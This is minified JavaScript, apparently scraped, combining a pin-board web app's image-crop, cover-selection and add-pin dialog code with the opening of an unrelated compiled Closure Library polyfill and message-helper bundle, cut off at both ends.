this.hideSpinner() }, setImage: function(c) { this.showSpinner(); var e = this.$img = $("<img>"); e.load(this.onImageLoaded).css({ opacity: "0.01", visibility: "hidden" }); e.attr("src", c); this.$bg.html(e) }, fitImage: function() { var c = 1; c = this.imageBounds.ratio >= this.bounds.ratio ? this.bounds.width / this.imageBounds.originalWidth: this.bounds.height / this.imageBounds.originalHeight; this.scaleImage(c, 10) }, centerImage: function() { var c = this.$holder.height() - 40, e = this.$holder.width(); this.$bg.css({ top: c / 2 - this.$bg.height() / 2 + 1, left: e / 2 - this.$bg.width() / 2 + 1 }) }, scaleImage: function(c, e) { var g = this.imageBounds.width = this.imageBounds.originalWidth * c + e || 0; c = this.imageBounds.height = this.imageBounds.originalHeight * c + e || 0; this.$img.attr("width", g); this.$img.attr("height", c) }, getOffset: function() { return { x: Math.abs(parseInt(this.$bg.css("left"), 10) - this.bounds.left), y: Math.abs(parseInt(this.$bg.css("top"), 10) - this.bounds.top) } }, getScale: function() { return this.$img.width() / this.imageBounds.originalWidth }, saving: function() { this.showSpinner(); this.$button.addClass("disabled") }, showSpinner: function() { this.$spinner.show() }, hideSpinner: function() { this.$spinner.hide() } }); CropImage.prototype = { initialize: function() { _.bindAll(this, "save", "close") }, show: function(c) { var e = this; c = this.view = new b(c); this.options = this.view.options; c.on("save", this.save); c.on("close", this.close); c.on("stopDrag", function() { e.trigger("dragComplete") }); Modal.show("CropImage"); c.render() }, setImage: function(c) { this.view.setImage(c) }, setParams: function(c) { this.options.params = c }, save: function() { var c = this, e = this.view.getOffset(), g = this.view.getScale(); e = _.extend({ x: e.x, y: e.y, width: this.options.size.width, height: this.options.size.height, scale: g }, this.options.params || {}); this.view.saving(); this.trigger("saving", e); $.ajax({ url: this.options.url, data: e, dataType: "json", type: "POST", success: function(f) { c.view.hideSpinner(); c.trigger("save", f); c.options.delay !== 0 && c.view.showComplete(); setTimeout(c.close, c.options.delay || 1200) } }) }, close: function() { Modal.close("CropImage"); this.view.undelegateEvents(); this.trigger("close"); delete this.view; delete this.options } }; _.extend(CropImage.prototype, Backbone.Events) })(); var BoardCoverSelector = function() { this.initialize.apply(this, arguments) }; (function() { var b = null; BoardCoverSelector.prototype = { pins: null, index: null, boardURL: null, initialize: function() { if (b) { b.cancel(); b = null } _.bindAll(this, "onKeyup", "onPinsLoaded", "onSave", "onSaving", "removeListeners", "next", "previous"); b = this; this.options = {}; this.imageCrop = new CropImage; this.imageCrop.on("close", this.removeListeners); this.imageCrop.on("save", this.onSave); this.imageCrop.on("saving", this.onSaving); this.imageCrop.on("dragComplete", function() { trackGAEvent("board_cover", "dragged") }); this.$img = $("<img>") }, loadPins: function() { $.ajax({ url: this.options.boardURL + "pins/", dataType: "json", success: this.onPinsLoaded }); this.boardURL = this.options.boardURL }, show: function(c) { this.options = c; this.imageCrop.show({ className: "BoardCover", overlay: this.overlayContent(), params: { pin: c.pin }, image: this.options.image, size: { width: 222, height: 150 }, title: c.title || "Select a cover photo and drag to position it.", buttonTitle: c.buttonTitle || "Set Cover", url: this.options.boardURL + "cover/", delay: c.delay }); if (!this.pins || this.boardURL != this.options.boardURL) this.loadPins(); else this.options.image || this.setIndex(0); trackGAEvent("board_cover", "show"); $("body").keyup(this.onKeyup) }, onPinsLoaded: function(c) { var e = null; if (this.options.image) { var g = this.options.image; _.each(c.pins, function(f, d) { if (e == null && g.match(new RegExp(f.image_key, "gi"))) e = d }) } this.index = e || 0; this.pins = c.pins; if (this.pins.length !== 0) { this.pins.length === 1 ? this.hideArrows() : this.preload([e - 1, e + 1]); e === null && this.setIndex(0) } }, onKeyup: function(c) { if (this.index !== null) { c.keyCode === 37 && this.previous(); c.keyCode === 39 && this.next(); c.keyCode === 27 && this.imageCrop.close(); c.keyCode === 13 && this.imageCrop.save() } }, overlayContent: function() { var c = this.$holder = $("<div class='BoardOverlay'></div>"), e = $('<button class="prev Button WhiteButton Button13" type="button"><em></em></button>').click(this.previous), g = $('<button class="next Button WhiteButton Button13" type="button"><em></em></button>').click(this.next); c.append("<h3 class='serif'>" + this.options.boardName + "</h3>"); c.append(e, g); return c }, next: function() { this.index === this.pins.length - 1 ? this.setIndex(0) : this.setIndex(this.index + 1); trackGAEvent("board_cover", "toggle_pin"); return false }, previous: function() { this.index === 0 ? this.setIndex(this.pins.length - 1) : this.setIndex(this.index - 1); trackGAEvent("board_cover", "toggle_pin"); return false }, setIndex: function(c) { var e = this.pins[c]; if (e) { this.imageCrop.setImage(e.url); this.imageCrop.setParams({ pin: e.id }); this.index = c; this.preload([this.index - 2, this.index - 1, this.index + 1, this.index + 2]) } }, preload: function(c) { var e = this; _.each(c, function(g) { if (g = e.pins[g])(new Image).src = g.url }) }, hideArrows: function() { this.$holder.find(".arrow").hide() }, removeListeners: function() { $("body").unbind("keyup", this.onKeyup) }, onSaving: function() { this.hideArrows() }, onSave: function(c) { this.options.success && this.options.success(c); trackGAEvent("board_cover", "saved") } }; _.extend(BoardCoverSelector.prototype, Backbone.Events) })(); var AddDialog = function() { return { setup: function(b) { var c = "#" + b, e = $(c), g = $(".Buttons .RedButton", e), f = $(".mainerror", e), d = $(".DescriptionTextarea", e); BoardPicker.setup(c + " .BoardPicker", function(h) { $(c + " #id_board").val(h) }, function(h) { $(c + " #id_board").val(h) }); AddDialog.shareCheckboxes(b); Tagging.initTextarea(c + " .DescriptionTextarea"); Tagging.priceTag(c + " .DescriptionTextarea", c + " .ImagePicker"); CharacterCount.setup(c + " .DescriptionTextarea", c + " .CharacterCount", c + " .Button"); g.click(function() { if (g.hasClass("disabled")) return false; trackGAEvent("pin", "clicked", "add_dialogue"); if (d.val() === "" || d.val() === "Describe your pin...") { f.html("Please describe your pin").slideDown(300); return false } else f.slideUp(300, function() { f.html("") }); g.addClass("disabled").html("Pinning..."); $("#id_details", e).val(d.val()); Tagging.loadTags(c + " .DescriptionTextarea", c + " #peeps_holder", c + " #id_tags", c + " #currency_holder"); $("form", e).ajaxSubmit({ url: "/pin/create/", type: "POST", dataType: "json", iframe: true, success: function(h) { if (h.status == "success") { trackGAEvent("pin", "success", "add_dialogue"); window.location = h.url } else if (h.captcha) { RecaptchaDialog.challenge(); AddDialog.reset(b) } else f.html(h.message).slideDown(300) } }); return false }) }, reset: function(b) { b === "CreateBoard" && CreateBoardDialog.reset(); b === "ScrapePin" && ScrapePinDialog.reset(); b === "UploadPin" && UploadPinDialog.reset(); AddDialog._resets[b] && AddDialog._resets[b]() }, close: function(b, c) { $("#" + b).addClass("super"); Modal.show(c) }, childClose: function(b, c) { var e = this, g = $("#" + c); $(".ModalContainer", g); e.reset(c); $("#" + b).removeClass("super"); Modal.close(b); Modal.close(c) }, pinBottom: function(b) { var c = $("#" + b); $(".PinBottom", c).slideDown(300, function() { var e = $(".modal:first", c);
vohidjon123
(function(sttc){/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 */ var n;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype||a==Object.prototype)return a;a[b]=c.value;return a}; function ca(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var da=ca(this),ea="function"===typeof Symbol&&"symbol"===typeof Symbol("x"),p={},fa={};function r(a,b){var c=fa[b];if(null==c)return a[b];c=a[c];return void 0!==c?c:a[b]} function ha(a,b,c){if(b)a:{var d=a.split(".");a=1===d.length;var e=d[0],f;!a&&e in p?f=p:f=da;for(e=0;e<d.length-1;e++){var g=d[e];if(!(g in f))break a;f=f[g]}d=d[d.length-1];c=ea&&"es6"===c?f[d]:null;b=b(c);null!=b&&(a?ba(p,d,{configurable:!0,writable:!0,value:b}):b!==c&&(void 0===fa[d]&&(a=1E9*Math.random()>>>0,fa[d]=ea?da.Symbol(d):"$jscp$"+a+"$"+d),ba(f,fa[d],{configurable:!0,writable:!0,value:b})))}} ha("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(f||"")+"_"+e++,f)}function c(f,g){this.h=f;ba(this,"description",{configurable:!0,writable:!0,value:g})}if(a)return a;c.prototype.toString=function(){return this.h};var d="jscomp_symbol_"+(1E9*Math.random()>>>0)+"_",e=0;return b},"es6"); ha("Symbol.iterator",function(a){if(a)return a;a=(0,p.Symbol)("Symbol.iterator");for(var b="Array Int8Array Uint8Array Uint8ClampedArray Int16Array Uint16Array Int32Array Uint32Array Float32Array Float64Array".split(" "),c=0;c<b.length;c++){var d=da[b[c]];"function"===typeof d&&"function"!=typeof d.prototype[a]&&ba(d.prototype,a,{configurable:!0,writable:!0,value:function(){return ia(aa(this))}})}return a},"es6"); function ia(a){a={next:a};a[r(p.Symbol,"iterator")]=function(){return this};return a}function ja(a){return a.raw=a}function u(a){var b="undefined"!=typeof p.Symbol&&r(p.Symbol,"iterator")&&a[r(p.Symbol,"iterator")];return b?b.call(a):{next:aa(a)}}function ka(a){if(!(a instanceof Array)){a=u(a);for(var b,c=[];!(b=a.next()).done;)c.push(b.value);a=c}return a}function la(a,b){return Object.prototype.hasOwnProperty.call(a,b)} var ma=ea&&"function"==typeof r(Object,"assign")?r(Object,"assign"):function(a,b){for(var c=1;c<arguments.length;c++){var d=arguments[c];if(d)for(var e in d)la(d,e)&&(a[e]=d[e])}return a};ha("Object.assign",function(a){return a||ma},"es6");var na="function"==typeof Object.create?Object.create:function(a){function b(){}b.prototype=a;return new b},oa; if(ea&&"function"==typeof Object.setPrototypeOf)oa=Object.setPrototypeOf;else{var pa;a:{var qa={a:!0},ra={};try{ra.__proto__=qa;pa=ra.a;break a}catch(a){}pa=!1}oa=pa?function(a,b){a.__proto__=b;if(a.__proto__!==b)throw new TypeError(a+" is not extensible");return a}:null}var sa=oa; function v(a,b){a.prototype=na(b.prototype);a.prototype.constructor=a;if(sa)sa(a,b);else for(var c in b)if("prototype"!=c)if(Object.defineProperties){var d=Object.getOwnPropertyDescriptor(b,c);d&&Object.defineProperty(a,c,d)}else a[c]=b[c];a.Ub=b.prototype}function ta(){for(var a=Number(this),b=[],c=a;c<arguments.length;c++)b[c-a]=arguments[c];return b} ha("Promise",function(a){function b(g){this.h=0;this.j=void 0;this.i=[];this.G=!1;var h=this.l();try{g(h.resolve,h.reject)}catch(k){h.reject(k)}}function c(){this.h=null}function d(g){return g instanceof b?g:new b(function(h){h(g)})}if(a)return a;c.prototype.i=function(g){if(null==this.h){this.h=[];var h=this;this.j(function(){h.m()})}this.h.push(g)};var e=da.setTimeout;c.prototype.j=function(g){e(g,0)};c.prototype.m=function(){for(;this.h&&this.h.length;){var g=this.h;this.h=[];for(var h=0;h<g.length;++h){var k= g[h];g[h]=null;try{k()}catch(l){this.l(l)}}}this.h=null};c.prototype.l=function(g){this.j(function(){throw g;})};b.prototype.l=function(){function g(l){return function(m){k||(k=!0,l.call(h,m))}}var h=this,k=!1;return{resolve:g(this.P),reject:g(this.m)}};b.prototype.P=function(g){if(g===this)this.m(new TypeError("A Promise cannot resolve to itself"));else if(g instanceof b)this.U(g);else{a:switch(typeof g){case "object":var h=null!=g;break a;case "function":h=!0;break a;default:h=!1}h?this.O(g):this.A(g)}}; b.prototype.O=function(g){var h=void 0;try{h=g.then}catch(k){this.m(k);return}"function"==typeof h?this.ga(h,g):this.A(g)};b.prototype.m=function(g){this.C(2,g)};b.prototype.A=function(g){this.C(1,g)};b.prototype.C=function(g,h){if(0!=this.h)throw Error("Cannot settle("+g+", "+h+"): Promise already settled in state"+this.h);this.h=g;this.j=h;2===this.h&&this.R();this.H()};b.prototype.R=function(){var g=this;e(function(){if(g.N()){var h=da.console;"undefined"!==typeof h&&h.error(g.j)}},1)};b.prototype.N= function(){if(this.G)return!1;var g=da.CustomEvent,h=da.Event,k=da.dispatchEvent;if("undefined"===typeof k)return!0;"function"===typeof g?g=new g("unhandledrejection",{cancelable:!0}):"function"===typeof h?g=new h("unhandledrejection",{cancelable:!0}):(g=da.document.createEvent("CustomEvent"),g.initCustomEvent("unhandledrejection",!1,!0,g));g.promise=this;g.reason=this.j;return k(g)};b.prototype.H=function(){if(null!=this.i){for(var g=0;g<this.i.length;++g)f.i(this.i[g]);this.i=null}};var f=new c; b.prototype.U=function(g){var h=this.l();g.ia(h.resolve,h.reject)};b.prototype.ga=function(g,h){var k=this.l();try{g.call(h,k.resolve,k.reject)}catch(l){k.reject(l)}};b.prototype.then=function(g,h){function k(t,y){return"function"==typeof t?function(F){try{l(t(F))}catch(z){m(z)}}:y}var l,m,q=new b(function(t,y){l=t;m=y});this.ia(k(g,l),k(h,m));return q};b.prototype.catch=function(g){return this.then(void 0,g)};b.prototype.ia=function(g,h){function k(){switch(l.h){case 1:g(l.j);break;case 2:h(l.j); break;default:throw Error("Unexpected state: "+l.h);}}var l=this;null==this.i?f.i(k):this.i.push(k);this.G=!0};b.resolve=d;b.reject=function(g){return new b(function(h,k){k(g)})};b.race=function(g){return new b(function(h,k){for(var l=u(g),m=l.next();!m.done;m=l.next())d(m.value).ia(h,k)})};b.all=function(g){var h=u(g),k=h.next();return k.done?d([]):new b(function(l,m){function q(F){return function(z){t[F]=z;y--;0==y&&l(t)}}var t=[],y=0;do t.push(void 0),y++,d(k.value).ia(q(t.length-1),m),k=h.next(); while(!k.done)})};return b},"es6");ha("Array.prototype.find",function(a){return a?a:function(b,c){a:{var d=this;d instanceof String&&(d=String(d));for(var e=d.length,f=0;f<e;f++){var g=d[f];if(b.call(c,g,f,d)){b=g;break a}}b=void 0}return b}},"es6"); ha("WeakMap",function(a){function b(g){this.h=(f+=Math.random()+1).toString();if(g){g=u(g);for(var h;!(h=g.next()).done;)h=h.value,this.set(h[0],h[1])}}function c(){}function d(g){var h=typeof g;return"object"===h&&null!==g||"function"===h}if(function(){if(!a||!Object.seal)return!1;try{var g=Object.seal({}),h=Object.seal({}),k=new a([[g,2],[h,3]]);if(2!=k.get(g)||3!=k.get(h))return!1;k.delete(g);k.set(h,4);return!k.has(g)&&4==k.get(h)}catch(l){return!1}}())return a;var e="$jscomp_hidden_"+Math.random(), f=0;b.prototype.set=function(g,h){if(!d(g))throw Error("Invalid WeakMap key");if(!la(g,e)){var k=new c;ba(g,e,{value:k})}if(!la(g,e))throw Error("WeakMap key fail: "+g);g[e][this.h]=h;return this};b.prototype.get=function(g){return d(g)&&la(g,e)?g[e][this.h]:void 0};b.prototype.has=function(g){return d(g)&&la(g,e)&&la(g[e],this.h)};b.prototype.delete=function(g){return d(g)&&la(g,e)&&la(g[e],this.h)?delete g[e][this.h]:!1};return b},"es6"); ha("Map",function(a){function b(){var h={};return h.L=h.next=h.head=h}function c(h,k){var l=h.h;return ia(function(){if(l){for(;l.head!=h.h;)l=l.L;for(;l.next!=l.head;)return l=l.next,{done:!1,value:k(l)};l=null}return{done:!0,value:void 0}})}function d(h,k){var l=k&&typeof k;"object"==l||"function"==l?f.has(k)?l=f.get(k):(l=""+ ++g,f.set(k,l)):l="p_"+k;var m=h.i[l];if(m&&la(h.i,l))for(h=0;h<m.length;h++){var q=m[h];if(k!==k&&q.key!==q.key||k===q.key)return{id:l,list:m,index:h,B:q}}return{id:l,list:m, index:-1,B:void 0}}function e(h){this.i={};this.h=b();this.size=0;if(h){h=u(h);for(var k;!(k=h.next()).done;)k=k.value,this.set(k[0],k[1])}}if(function(){if(!a||"function"!=typeof a||!a.prototype.entries||"function"!=typeof Object.seal)return!1;try{var h=Object.seal({x:4}),k=new a(u([[h,"s"]]));if("s"!=k.get(h)||1!=k.size||k.get({x:4})||k.set({x:4},"t")!=k||2!=k.size)return!1;var l=k.entries(),m=l.next();if(m.done||m.value[0]!=h||"s"!=m.value[1])return!1;m=l.next();return m.done||4!=m.value[0].x|| "t"!=m.value[1]||!l.next().done?!1:!0}catch(q){return!1}}())return a;var f=new p.WeakMap;e.prototype.set=function(h,k){h=0===h?0:h;var l=d(this,h);l.list||(l.list=this.i[l.id]=[]);l.B?l.B.value=k:(l.B={next:this.h,L:this.h.L,head:this.h,key:h,value:k},l.list.push(l.B),this.h.L.next=l.B,this.h.L=l.B,this.size++);return this};e.prototype.delete=function(h){h=d(this,h);return h.B&&h.list?(h.list.splice(h.index,1),h.list.length||delete this.i[h.id],h.B.L.next=h.B.next,h.B.next.L=h.B.L,h.B.head=null,this.size--, !0):!1};e.prototype.clear=function(){this.i={};this.h=this.h.L=b();this.size=0};e.prototype.has=function(h){return!!d(this,h).B};e.prototype.get=function(h){return(h=d(this,h).B)&&h.value};e.prototype.entries=function(){return c(this,function(h){return[h.key,h.value]})};e.prototype.keys=function(){return c(this,function(h){return h.key})};e.prototype.values=function(){return c(this,function(h){return h.value})};e.prototype.forEach=function(h,k){for(var l=this.entries(),m;!(m=l.next()).done;)m=m.value, h.call(k,m[1],m[0],this)};e.prototype[r(p.Symbol,"iterator")]=e.prototype.entries;var g=0;return e},"es6");function ua(a,b){a instanceof String&&(a+="");var c=0,d=!1,e={next:function(){if(!d&&c<a.length){var f=c++;return{value:b(f,a[f]),done:!1}}d=!0;return{done:!0,value:void 0}}};e[r(p.Symbol,"iterator")]=function(){return e};return e} ha("String.prototype.startsWith",function(a){return a?a:function(b,c){if(null==this)throw new TypeError("The 'this' value for String.prototype.startsWith must not be null or undefined");if(b instanceof RegExp)throw new TypeError("First argument to String.prototype.startsWith must not be a regular expression");var d=this.length,e=b.length;c=Math.max(0,Math.min(c|0,this.length));for(var f=0;f<e&&c<d;)if(this[c++]!=b[f++])return!1;return f>=e}},"es6");ha("globalThis",function(a){return a||da},"es_2020"); ha("Set",function(a){function b(c){this.h=new p.Map;if(c){c=u(c);for(var d;!(d=c.next()).done;)this.add(d.value)}this.size=this.h.size}if(function(){if(!a||"function"!=typeof a||!a.prototype.entries||"function"!=typeof Object.seal)return!1;try{var c=Object.seal({x:4}),d=new a(u([c]));if(!d.has(c)||1!=d.size||d.add(c)!=d||1!=d.size||d.add({x:4})!=d||2!=d.size)return!1;var e=d.entries(),f=e.next();if(f.done||f.value[0]!=c||f.value[1]!=c)return!1;f=e.next();return f.done||f.value[0]==c||4!=f.value[0].x|| f.value[1]!=f.value[0]?!1:e.next().done}catch(g){return!1}}())return a;b.prototype.add=function(c){c=0===c?0:c;this.h.set(c,c);this.size=this.h.size;return this};b.prototype.delete=function(c){c=this.h.delete(c);this.size=this.h.size;return c};b.prototype.clear=function(){this.h.clear();this.size=0};b.prototype.has=function(c){return this.h.has(c)};b.prototype.entries=function(){return this.h.entries()};b.prototype.values=function(){return r(this.h,"values").call(this.h)};b.prototype.keys=r(b.prototype, "values");b.prototype[r(p.Symbol,"iterator")]=r(b.prototype,"values");b.prototype.forEach=function(c,d){var e=this;this.h.forEach(function(f){return c.call(d,f,f,e)})};return b},"es6");ha("Array.prototype.keys",function(a){return a?a:function(){return ua(this,function(b){return b})}},"es6");ha("Array.prototype.values",function(a){return a?a:function(){return ua(this,function(b,c){return c})}},"es8");ha("Number.isNaN",function(a){return a?a:function(b){return"number"===typeof b&&isNaN(b)}},"es6"); ha("Promise.prototype.finally",function(a){return a?a:function(b){return this.then(function(c){return p.Promise.resolve(b()).then(function(){return c})},function(c){return p.Promise.resolve(b()).then(function(){throw c;})})}},"es9");var w=this||self;function va(a){a=a.split(".");for(var b=w,c=0;c<a.length;c++)if(b=b[a[c]],null==b)return null;return b}function wa(a){var b=typeof a;return"object"!=b?b:a?Array.isArray(a)?"array":b:"null"} function xa(a){var b=wa(a);return"array"==b||"object"==b&&"number"==typeof a.length}function ya(a){var b=typeof a;return"object"==b&&null!=a||"function"==b}function za(a){return Object.prototype.hasOwnProperty.call(a,Aa)&&a[Aa]||(a[Aa]=++Ba)}var Aa="closure_uid_"+(1E9*Math.random()>>>0),Ba=0;function Ca(a,b,c){return a.call.apply(a.bind,arguments)} function Da(a,b,c){if(!a)throw Error();if(2<arguments.length){var d=Array.prototype.slice.call(arguments,2);return function(){var e=Array.prototype.slice.call(arguments);Array.prototype.unshift.apply(e,d);return a.apply(b,e)}}return function(){return a.apply(b,arguments)}}function Ea(a,b,c){Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf("native code")?Ea=Ca:Ea=Da;return Ea.apply(null,arguments)} function Fa(a,b){var c=Array.prototype.slice.call(arguments,1);return function(){var d=c.slice();d.push.apply(d,arguments);return a.apply(this,d)}}function Ga(a){var b=["__uspapi"],c=w;b[0]in c||"undefined"==typeof c.execScript||c.execScript("var "+b[0]);for(var d;b.length&&(d=b.shift());)b.length||void 0===a?c[d]&&c[d]!==Object.prototype[d]?c=c[d]:c=c[d]={}:c[d]=a}function Ha(a){return a};var Ia=(new Date).getTime();function Ja(a){return/^[\s\xa0]*([\s\S]*?)[\s\xa0]*$/.exec(a)[1]} function Ka(a,b){var c=0;a=Ja(String(a)).split(".");b=Ja(String(b)).split(".");for(var d=Math.max(a.length,b.length),e=0;0==c&&e<d;e++){var f=a[e]||"",g=b[e]||"";do{f=/(\d*)(\D*)(.*)/.exec(f)||["","","",""];g=/(\d*)(\D*)(.*)/.exec(g)||["","","",""];if(0==f[0].length&&0==g[0].length)break;c=La(0==f[1].length?0:parseInt(f[1],10),0==g[1].length?0:parseInt(g[1],10))||La(0==f[2].length,0==g[2].length)||La(f[2],g[2]);f=f[3];g=g[3]}while(0==c)}return c}function La(a,b){return a<b?-1:a>b?1:0};function Ma(){var a=w.navigator;return a&&(a=a.userAgent)?a:""}function x(a){return-1!=Ma().indexOf(a)};function Na(){return x("Trident")||x("MSIE")}function Oa(){return(x("Chrome")||x("CriOS"))&&!x("Edge")||x("Silk")}function Pa(a){var b={};a.forEach(function(c){b[c[0]]=c[1]});return function(c){return b[r(c,"find").call(c,function(d){return d in b})]||""}} function Qa(){var a=Ma();if(Na()){var b=/rv: *([\d\.]*)/.exec(a);if(b&&b[1])a=b[1];else{b="";var c=/MSIE +([\d\.]+)/.exec(a);if(c&&c[1])if(a=/Trident\/(\d.\d)/.exec(a),"7.0"==c[1])if(a&&a[1])switch(a[1]){case "4.0":b="8.0";break;case "5.0":b="9.0";break;case "6.0":b="10.0";break;case "7.0":b="11.0"}else b="7.0";else b=c[1];a=b}return a}c=RegExp("([A-Z][\\w ]+)/([^\\s]+)\\s*(?:\\((.*?)\\))?","g");b=[];for(var d;d=c.exec(a);)b.push([d[1],d[2],d[3]||void 0]);a=Pa(b);return x("Opera")?a(["Version","Opera"]): x("Edge")?a(["Edge"]):x("Edg/")?a(["Edg"]):x("Silk")?a(["Silk"]):Oa()?a(["Chrome","CriOS","HeadlessChrome"]):(a=b[2])&&a[1]||""};function Ra(a,b){for(var c=a.length,d="string"===typeof a?a.split(""):a,e=0;e<c;e++)e in d&&b.call(void 0,d[e],e,a)}function Sa(a,b){for(var c=a.length,d=[],e=0,f="string"===typeof a?a.split(""):a,g=0;g<c;g++)if(g in f){var h=f[g];b.call(void 0,h,g,a)&&(d[e++]=h)}return d}function Ta(a,b){for(var c=a.length,d=Array(c),e="string"===typeof a?a.split(""):a,f=0;f<c;f++)f in e&&(d[f]=b.call(void 0,e[f],f,a));return d} function Ua(a,b){for(var c=a.length,d="string"===typeof a?a.split(""):a,e=0;e<c;e++)if(e in d&&b.call(void 0,d[e],e,a))return!0;return!1}function Va(a,b){a:{for(var c=a.length,d="string"===typeof a?a.split(""):a,e=0;e<c;e++)if(e in d&&b.call(void 0,d[e],e,a)){b=e;break a}b=-1}return 0>b?null:"string"===typeof a?a.charAt(b):a[b]} function Wa(a,b){a:{for(var c="string"===typeof a?a.split(""):a,d=a.length-1;0<=d;d--)if(d in c&&b.call(void 0,c[d],d,a)){b=d;break a}b=-1}return 0>b?null:"string"===typeof a?a.charAt(b):a[b]}function Xa(a,b){a:if("string"===typeof a)a="string"!==typeof b||1!=b.length?-1:a.indexOf(b,0);else{for(var c=0;c<a.length;c++)if(c in a&&a[c]===b){a=c;break a}a=-1}return 0<=a}function Ya(a){var b=a.length;if(0<b){for(var c=Array(b),d=0;d<b;d++)c[d]=a[d];return c}return[]};function Za(a){Za[" "](a);return a}Za[" "]=function(){};var $a=Na();!x("Android")||Oa();Oa();!x("Safari")||Oa();var ab={},bb=null;var cb="undefined"!==typeof Uint8Array;var db="function"===typeof p.Symbol&&"symbol"===typeof(0,p.Symbol)()?(0,p.Symbol)(void 0):void 0;function eb(a,b){Object.isFrozen(a)||(db?a[db]|=b:void 0!==a.ma?a.ma|=b:Object.defineProperties(a,{ma:{value:b,configurable:!0,writable:!0,enumerable:!1}}))}function fb(a){var b;db?b=a[db]:b=a.ma;return null==b?0:b}function gb(a){eb(a,1);return a}function hb(a){return Array.isArray(a)?!!(fb(a)&2):!1}function ib(a){if(!Array.isArray(a))throw Error("cannot mark non-array as immutable");eb(a,2)};function jb(a){return null!==a&&"object"===typeof a&&!Array.isArray(a)&&a.constructor===Object}var kb,lb=Object.freeze(gb([]));function mb(a){if(hb(a.v))throw Error("Cannot mutate an immutable Message");}var nb="undefined"!=typeof p.Symbol&&"undefined"!=typeof p.Symbol.hasInstance;function ob(a){return{value:a,configurable:!1,writable:!1,enumerable:!1}};function pb(a){switch(typeof a){case "number":return isFinite(a)?a:String(a);case "object":if(a&&!Array.isArray(a)&&cb&&null!=a&&a instanceof Uint8Array){var b;void 0===b&&(b=0);if(!bb){bb={};for(var c="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".split(""),d=["+/=","+/","-_=","-_.","-_"],e=0;5>e;e++){var f=c.concat(d[e].split(""));ab[e]=f;for(var g=0;g<f.length;g++){var h=f[g];void 0===bb[h]&&(bb[h]=g)}}}b=ab[b];c=Array(Math.floor(a.length/3));d=b[64]||"";for(e=f=0;f<a.length- 2;f+=3){var k=a[f],l=a[f+1];h=a[f+2];g=b[k>>2];k=b[(k&3)<<4|l>>4];l=b[(l&15)<<2|h>>6];h=b[h&63];c[e++]=g+k+l+h}g=0;h=d;switch(a.length-f){case 2:g=a[f+1],h=b[(g&15)<<2]||d;case 1:a=a[f],c[e]=b[a>>2]+b[(a&3)<<4|g>>4]+h+d}return c.join("")}}return a};function qb(a){var b=sb;b=void 0===b?tb:b;return ub(a,b)}function vb(a,b){if(null!=a){if(Array.isArray(a))a=ub(a,b);else if(jb(a)){var c={},d;for(d in a)Object.prototype.hasOwnProperty.call(a,d)&&(c[d]=vb(a[d],b));a=c}else a=b(a);return a}}function ub(a,b){for(var c=a.slice(),d=0;d<c.length;d++)c[d]=vb(c[d],b);Array.isArray(a)&&fb(a)&1&&gb(c);return c}function sb(a){if(a&&"object"==typeof a&&a.toJSON)return a.toJSON();a=pb(a);return Array.isArray(a)?qb(a):a} function tb(a){return cb&&null!=a&&a instanceof Uint8Array?new Uint8Array(a):a};function A(a,b,c){return-1===b?null:b>=a.l?a.i?a.i[b]:void 0:(void 0===c?0:c)&&a.i&&(c=a.i[b],null!=c)?c:a.v[b+a.j]}function B(a,b,c,d,e){d=void 0===d?!1:d;(void 0===e?0:e)||mb(a);b<a.l&&!d?a.v[b+a.j]=c:(a.i||(a.i=a.v[a.l+a.j]={}))[b]=c;return a}function wb(a,b,c,d){c=void 0===c?!0:c;d=void 0===d?!1:d;var e=A(a,b,d);null==e&&(e=lb);if(hb(a.v))c&&(ib(e),Object.freeze(e));else if(e===lb||hb(e))e=gb(e.slice()),B(a,b,e,d);return e}function xb(a,b){a=A(a,b);return null==a?a:!!a} function C(a,b,c){a=A(a,b);return null==a?c:a}function D(a,b,c){a=xb(a,b);return null==a?void 0===c?!1:c:a}function yb(a,b){a=A(a,b);a=null==a?a:+a;return null==a?0:a}function zb(a,b,c){var d=void 0===d?!1:d;return B(a,b,null==c?gb([]):Array.isArray(c)?gb(c):c,d)}function Ab(a,b,c){mb(a);0!==c?B(a,b,c):B(a,b,void 0,!1,!1);return a}function Bb(a,b,c,d){mb(a);(c=Cb(a,c))&&c!==b&&null!=d&&(a.h&&c in a.h&&(a.h[c]=void 0),B(a,c));return B(a,b,d)}function Db(a,b,c){return Cb(a,b)===c?c:-1} function Cb(a,b){for(var c=0,d=0;d<b.length;d++){var e=b[d];null!=A(a,e)&&(0!==c&&B(a,c,void 0,!1,!0),c=e)}return c}function G(a,b,c){if(-1===c)return null;a.h||(a.h={});var d=a.h[c];if(d)return d;var e=A(a,c,!1);if(null==e)return d;b=new b(e);hb(a.v)&&ib(b.v);return a.h[c]=b}function H(a,b,c){a.h||(a.h={});var d=hb(a.v),e=a.h[c];if(!e){var f=wb(a,c,!0,!1);e=[];d=d||hb(f);for(var g=0;g<f.length;g++)e[g]=new b(f[g]),d&&ib(e[g].v);d&&(ib(e),Object.freeze(e));a.h[c]=e}return e} function Eb(a,b,c){var d=void 0===d?!1:d;mb(a);a.h||(a.h={});var e=c?c.v:c;a.h[b]=c;return B(a,b,e,d)}function Fb(a,b,c,d){mb(a);a.h||(a.h={});var e=d?d.v:d;a.h[b]=d;return Bb(a,b,c,e)}function Gb(a,b,c){var d=void 0===d?!1:d;mb(a);if(c){var e=gb([]);for(var f=0;f<c.length;f++)e[f]=c[f].v;a.h||(a.h={});a.h[b]=c}else a.h&&(a.h[b]=void 0),e=lb;return B(a,b,e,d)}function I(a,b){return C(a,b,"")}function Hb(a,b,c){return C(a,Db(a,c,b),0)}function Ib(a,b,c,d){return G(a,b,Db(a,d,c))};function Jb(a,b,c){a||(a=Kb);Kb=null;var d=this.constructor.messageId;a||(a=d?[d]:[]);this.j=(d?0:-1)-(this.constructor.h||0);this.h=void 0;this.v=a;a:{d=this.v.length;a=d-1;if(d&&(d=this.v[a],jb(d))){this.l=a-this.j;this.i=d;break a}void 